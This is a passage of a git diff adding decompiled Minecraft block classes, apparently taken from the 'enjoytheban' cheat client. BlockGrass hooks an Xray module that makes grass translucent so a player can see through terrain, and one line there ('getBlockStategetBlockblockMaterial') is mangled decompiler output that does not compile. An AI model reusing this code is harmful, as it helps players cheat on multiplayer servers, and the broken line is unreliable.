+    return new TileEntityFurnace();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(FACING, placer.func_174811_aO().getOpposite());
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    worldIn.setBlockState(pos, state.withProperty(FACING, placer.func_174811_aO().getOpposite()), 2);
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityFurnace))
+      {
+        ((TileEntityFurnace)var6).setCustomInventoryName(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!field_149934_M)
+    {
+      TileEntity var4 = worldIn.getTileEntity(pos);
+      
+      if ((var4 instanceof TileEntityFurnace))
+      {
+        net.minecraft.inventory.InventoryHelper.dropInventoryItems(worldIn, pos, (TileEntityFurnace)var4);
+        worldIn.updateComparatorOutputLevel(pos, this);
+      }
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return Container.calcRedstoneFromInventory(worldIn.getTileEntity(pos));
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.furnace);
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public IBlockState getStateForEntityRender(IBlockState state)
+  {
+    return getDefaultState().withProperty(FACING, EnumFacing.SOUTH);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getFront(meta);
+    
+    if (var2.getAxis() == EnumFacing.Axis.Y)
+    {
+      var2 = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(FACING, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(FACING)).getIndex();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_180356_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002111";
+    
+    static
+    {
+      try
+      {
+        field_180356_a[EnumFacing.WEST.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180356_a[EnumFacing.EAST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180356_a[EnumFacing.NORTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180356_a[EnumFacing.SOUTH.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockGlass.java b/src/minecraft/net/minecraft/block/BlockGlass.java
new file mode 100644
index 0000000..46f0e34
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockGlass.java
@@ -0,0 +1,40 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.util.EnumWorldBlockLayer;
+
+public class BlockGlass extends BlockBreakable
+{
+  private static final String __OBFID = "CL_00000249";
+  
+  public BlockGlass(Material p_i45408_1_, boolean p_i45408_2_)
+  {
+    super(p_i45408_1_, p_i45408_2_);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockGlowstone.java b/src/minecraft/net/minecraft/block/BlockGlowstone.java
new file mode 100644
index 0000000..37ce5bb
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockGlowstone.java
@@ -0,0 +1,55 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.MathHelper;
+
+public class BlockGlowstone extends Block
+{
+  private static final String __OBFID = "CL_00000250";
+  
+  public BlockGlowstone(Material p_i45409_1_)
+  {
+    super(p_i45409_1_);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return MathHelper.clamp_int(quantityDropped(random) + random.nextInt(fortune + 1), 1, 4);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 2 + random.nextInt(3);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.glowstone_dust;
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.sandColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockGrass.java b/src/minecraft/net/minecraft/block/BlockGrass.java
new file mode 100644
index 0000000..7bf272a
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockGrass.java
@@ -0,0 +1,181 @@
+package net.minecraft.block;
+
+import com.enjoytheban.Client;
+import com.enjoytheban.management.ModuleManager;
+import com.enjoytheban.module.modules.render.Xray;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.ColorizerGrass;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeColorHelper;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class BlockGrass extends Block implements IGrowable
+{
+  public static final PropertyBool SNOWY = PropertyBool.create("snowy");
+  private static final String __OBFID = "CL_00000251";
+  
+  protected BlockGrass()
+  {
+    super(Material.grass);
+    setDefaultState(blockState.getBaseState().withProperty(SNOWY, Boolean.valueOf(false)));
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    Block var4 = worldIn.getBlockState(pos.offsetUp()).getBlock();
+    return state.withProperty(SNOWY, Boolean.valueOf((var4 == Blocks.snow) || (var4 == Blocks.snow_layer)));
+  }
+  
+  public int getBlockColor()
+  {
+    return ColorizerGrass.getGrassColor(0.5D, 1.0D);
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    return getBlockColor();
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return BiomeColorHelper.func_180286_a(worldIn, pos);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if ((worldIn.getLightFromNeighbors(pos.offsetUp()) < 4) && (worldIn.getBlockState(pos.offsetUp()).getBlock().getLightOpacity() > 2))
+      {
+        worldIn.setBlockState(pos, Blocks.dirt.getDefaultState());
+
+
+      }
+      else if (worldIn.getLightFromNeighbors(pos.offsetUp()) >= 9)
+      {
+        for (int var5 = 0; var5 < 4; var5++)
+        {
+          BlockPos var6 = pos.add(rand.nextInt(3) - 1, rand.nextInt(5) - 3, rand.nextInt(3) - 1);
+          Block var7 = worldIn.getBlockState(var6.offsetUp()).getBlock();
+          IBlockState var8 = worldIn.getBlockState(var6);
+          
+          if ((var8.getBlock() == Blocks.dirt) && (var8.getValue(BlockDirt.VARIANT) == BlockDirt.DirtType.DIRT) && (worldIn.getLightFromNeighbors(var6.offsetUp()) >= 4) && (var7.getLightOpacity() <= 2))
+          {
+            worldIn.setBlockState(var6, Blocks.grass.getDefaultState());
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Blocks.dirt.getItemDropped(Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.DIRT), rand, fortune);
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return true;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    BlockPos var5 = p_176474_3_.offsetUp();
+    int var6 = 0;
+    label249:
+    while (var6 < 128)
+    {
+      BlockPos var7 = var5;
+      int var8 = 0;
+      
+
+
+      while (var8 < var6 / 16)
+      {
+        var7 = var7.add(p_176474_2_.nextInt(3) - 1, (p_176474_2_.nextInt(3) - 1) * p_176474_2_.nextInt(3) / 2, p_176474_2_.nextInt(3) - 1);
+        
+        if ((worldIn.getBlockState(var7.offsetDown()).getBlock() != Blocks.grass) || (worldIn.getBlockState(var7).getBlock().isNormalCube()))
+          break label249;
+        var8++;
+      }
+      
+
+      if (getBlockStategetBlockblockMaterial == Material.air)
+      {
+        if (p_176474_2_.nextInt(8) == 0)
+        {
+          BlockFlower.EnumFlowerType var11 = worldIn.getBiomeGenForCoords(var7).pickRandomFlower(p_176474_2_, var7);
+          BlockFlower var9 = var11.func_176964_a().func_180346_a();
+          IBlockState var10 = var9.getDefaultState().withProperty(var9.func_176494_l(), var11);
+          
+          if (var9.canBlockStay(worldIn, var7, var10))
+          {
+            worldIn.setBlockState(var7, var10, 3);
+          }
+        }
+        else
+        {
+          IBlockState var12 = Blocks.tallgrass.getDefaultState().withProperty(BlockTallGrass.field_176497_a, BlockTallGrass.EnumType.GRASS);
+          
+          if (Blocks.tallgrass.canBlockStay(worldIn, var7, var12))
+          {
+            worldIn.setBlockState(var7, var12, 3);
+          }
+        }
+      }
+      
+      var6++;
+    }
+  }
+  
+
+
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      return EnumWorldBlockLayer.TRANSLUCENT;
+    }
+    return EnumWorldBlockLayer.CUTOUT_MIPPED;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { SNOWY });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockGravel.java b/src/minecraft/net/minecraft/block/BlockGravel.java
new file mode 100644
index 0000000..9acfc34
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockGravel.java
@@ -0,0 +1,26 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+
+
+
+public class BlockGravel
+  extends BlockFalling
+{
+  private static final String __OBFID = "CL_00000252";
+  
+  public BlockGravel() {}
+  
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    if (fortune > 3)
+    {
+      fortune = 3;
+    }
+    
+    return rand.nextInt(10 - fortune * 3) == 0 ? Items.flint : Item.getItemFromBlock(this);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHalfStoneSlab.java b/src/minecraft/net/minecraft/block/BlockHalfStoneSlab.java
new file mode 100644
index 0000000..aa16a72
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHalfStoneSlab.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockHalfStoneSlab extends BlockStoneSlab {
+  private static final String __OBFID = "CL_00002108";
+  
+  public BlockHalfStoneSlab() {}
+  
+  public boolean isDouble() {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHalfStoneSlabNew.java b/src/minecraft/net/minecraft/block/BlockHalfStoneSlabNew.java
new file mode 100644
index 0000000..5312bdb
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHalfStoneSlabNew.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockHalfStoneSlabNew extends BlockStoneSlabNew {
+  private static final String __OBFID = "CL_00002110";
+  
+  public BlockHalfStoneSlabNew() {}
+  
+  public boolean isDouble() {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHalfWoodSlab.java b/src/minecraft/net/minecraft/block/BlockHalfWoodSlab.java
new file mode 100644
index 0000000..3b850bd
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHalfWoodSlab.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockHalfWoodSlab extends BlockWoodSlab {
+  private static final String __OBFID = "CL_00002107";
+  
+  public BlockHalfWoodSlab() {}
+  
+  public boolean isDouble() {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHardenedClay.java b/src/minecraft/net/minecraft/block/BlockHardenedClay.java
new file mode 100644
index 0000000..40fc108
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHardenedClay.java
@@ -0,0 +1,25 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class BlockHardenedClay extends Block
+{
+  private static final String __OBFID = "CL_00000255";
+  
+  public BlockHardenedClay()
+  {
+    super(Material.rock);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.adobeColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHay.java b/src/minecraft/net/minecraft/block/BlockHay.java
new file mode 100644
index 0000000..d3e37d6
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHay.java
@@ -0,0 +1,80 @@
+package net.minecraft.block;
+
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.world.World;
+
+public class BlockHay extends BlockRotatedPillar
+{
+  private static final String __OBFID = "CL_00000256";
+  
+  public BlockHay()
+  {
+    super(net.minecraft.block.material.Material.grass);
+    setDefaultState(blockState.getBaseState().withProperty(field_176298_M, EnumFacing.Axis.Y));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing.Axis var2 = EnumFacing.Axis.Y;
+    int var3 = meta & 0xC;
+    
+    if (var3 == 4)
+    {
+      var2 = EnumFacing.Axis.X;
+    }
+    else if (var3 == 8)
+    {
+      var2 = EnumFacing.Axis.Z;
+    }
+    
+    return getDefaultState().withProperty(field_176298_M, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    EnumFacing.Axis var3 = (EnumFacing.Axis)state.getValue(field_176298_M);
+    
+    if (var3 == EnumFacing.Axis.X)
+    {
+      var2 |= 0x4;
+    }
+    else if (var3 == EnumFacing.Axis.Z)
+    {
+      var2 |= 0x8;
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176298_M });
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Item.getItemFromBlock(this), 1, 0);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer).withProperty(field_176298_M, facing.getAxis());
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHopper.java b/src/minecraft/net/minecraft/block/BlockHopper.java
new file mode 100644
index 0000000..92ee62e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHopper.java
@@ -0,0 +1,256 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.InventoryHelper;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityHopper;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockHopper extends BlockContainer
+{
+  public static final PropertyDirection field_176430_a = PropertyDirection.create("facing", new Predicate()
+  {
+    private static final String __OBFID = "CL_00002106";
+    
+    public boolean func_180180_a(EnumFacing p_180180_1_) {
+      return p_180180_1_ != EnumFacing.UP;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180180_a((EnumFacing)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
+  public static final PropertyBool field_176429_b = PropertyBool.create("enabled");
+  private static final String __OBFID = "CL_00000257";
+  
+  public BlockHopper()
+  {
+    super(Material.iron);
+    setDefaultState(blockState.getBaseState().withProperty(field_176430_a, EnumFacing.DOWN).withProperty(field_176429_b, Boolean.valueOf(true)));
+    setCreativeTab(CreativeTabs.tabRedstone);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.625F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    float var7 = 0.125F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, var7, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, var7);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(1.0F - var7, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 1.0F - var7, 1.0F, 1.0F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    EnumFacing var9 = facing.getOpposite();
+    
+    if (var9 == EnumFacing.UP)
+    {
+      var9 = EnumFacing.DOWN;
+    }
+    
+    return getDefaultState().withProperty(field_176430_a, var9).withProperty(field_176429_b, Boolean.valueOf(true));
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityHopper();
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    super.onBlockPlacedBy(worldIn, pos, state, placer, stack);
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityHopper))
+      {
+        ((TileEntityHopper)var6).setCustomName(stack.getDisplayName());
+      }
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    func_176427_e(worldIn, pos, state);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityHopper))
+    {
+      playerIn.displayGUIChest((TileEntityHopper)var9);
+    }
+    
+    return true;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    func_176427_e(worldIn, pos, state);
+  }
+  
+  private void func_176427_e(World worldIn, BlockPos p_176427_2_, IBlockState p_176427_3_)
+  {
+    boolean var4 = !worldIn.isBlockPowered(p_176427_2_);
+    
+    if (var4 != ((Boolean)p_176427_3_.getValue(field_176429_b)).booleanValue())
+    {
+      worldIn.setBlockState(p_176427_2_, p_176427_3_.withProperty(field_176429_b, Boolean.valueOf(var4)), 4);
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    TileEntity var4 = worldIn.getTileEntity(pos);
+    
+    if ((var4 instanceof TileEntityHopper))
+    {
+      InventoryHelper.dropInventoryItems(worldIn, pos, (TileEntityHopper)var4);
+      worldIn.updateComparatorOutputLevel(pos, this);
+    }
+    
+    super.breakBlock(worldIn, pos, state);
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+  public static EnumFacing func_176428_b(int p_176428_0_)
+  {
+    return EnumFacing.getFront(p_176428_0_ & 0x7);
+  }
+  
+
+
+
+
+  public static boolean getActiveStateFromMetadata(int p_149917_0_)
+  {
+    return (p_149917_0_ & 0x8) != 8;
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return Container.calcRedstoneFromInventory(worldIn.getTileEntity(pos));
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT_MIPPED;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176430_a, func_176428_b(meta)).withProperty(field_176429_b, Boolean.valueOf(getActiveStateFromMetadata(meta)));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176430_a)).getIndex();
+    
+    if (!((Boolean)state.getValue(field_176429_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176430_a, field_176429_b });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockHugeMushroom.java b/src/minecraft/net/minecraft/block/BlockHugeMushroom.java
new file mode 100644
index 0000000..c0071c3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockHugeMushroom.java
@@ -0,0 +1,184 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.World;
+
+public class BlockHugeMushroom extends Block
+{
+  public static final PropertyEnum field_176380_a = PropertyEnum.create("variant", EnumType.class);
+  private final Block field_176379_b;
+  private static final String __OBFID = "CL_00000258";
+  
+  public BlockHugeMushroom(Material p_i45711_1_, Block p_i45711_2_)
+  {
+    super(p_i45711_1_);
+    setDefaultState(blockState.getBaseState().withProperty(field_176380_a, EnumType.ALL_OUTSIDE));
+    field_176379_b = p_i45711_2_;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return Math.max(0, random.nextInt(10) - 7);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(field_176379_b);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(field_176379_b);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176380_a, EnumType.func_176895_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176380_a)).func_176896_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176380_a });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    NORTH_WEST("NORTH_WEST", 0, 1, "north_west"), 
+    NORTH("NORTH", 1, 2, "north"), 
+    NORTH_EAST("NORTH_EAST", 2, 3, "north_east"), 
+    WEST("WEST", 3, 4, "west"), 
+    CENTER("CENTER", 4, 5, "center"), 
+    EAST("EAST", 5, 6, "east"), 
+    SOUTH_WEST("SOUTH_WEST", 6, 7, "south_west"), 
+    SOUTH("SOUTH", 7, 8, "south"), 
+    SOUTH_EAST("SOUTH_EAST", 8, 9, "south_east"), 
+    STEM("STEM", 9, 10, "stem"), 
+    ALL_INSIDE("ALL_INSIDE", 10, 0, "all_inside"), 
+    ALL_OUTSIDE("ALL_OUTSIDE", 11, 14, "all_outside"), 
+    ALL_STEM("ALL_STEM", 12, 15, "all_stem");
+    
+    private static final EnumType[] field_176905_n;
+    private final int field_176906_o;
+    private final String field_176914_p;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002105";
+    
+    private EnumType(String p_i45710_1_, int p_i45710_2_, int p_i45710_3_, String p_i45710_4_)
+    {
+      field_176906_o = p_i45710_3_;
+      field_176914_p = p_i45710_4_;
+    }
+    
+    public int func_176896_a()
+    {
+      return field_176906_o;
+    }
+    
+    public String toString()
+    {
+      return field_176914_p;
+    }
+    
+    public static EnumType func_176895_a(int p_176895_0_)
+    {
+      if ((p_176895_0_ < 0) || (p_176895_0_ >= field_176905_n.length))
+      {
+        p_176895_0_ = 0;
+      }
+      
+      EnumType var1 = field_176905_n[p_176895_0_];
+      return var1 == null ? field_176905_n[0] : var1;
+    }
+    
+    public String getName()
+    {
+      return field_176914_p;
+    }
+    
+    static
+    {
+      field_176905_n = new EnumType[16];
+      
+
+
+      $VALUES = new EnumType[] { NORTH_WEST, NORTH, NORTH_EAST, WEST, CENTER, EAST, SOUTH_WEST, SOUTH, SOUTH_EAST, STEM, ALL_INSIDE, ALL_OUTSIDE, ALL_STEM };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176905_n[var3.func_176896_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockIce.java b/src/minecraft/net/minecraft/block/BlockIce.java
new file mode 100644
index 0000000..d4cbe35
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockIce.java
@@ -0,0 +1,96 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.enchantment.EnchantmentHelper;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.EnumSkyBlock;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+
+public class BlockIce extends BlockBreakable
+{
+  private static final String __OBFID = "CL_00000259";
+  
+  public BlockIce()
+  {
+    super(Material.ice, false);
+    slipperiness = 0.98F;
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
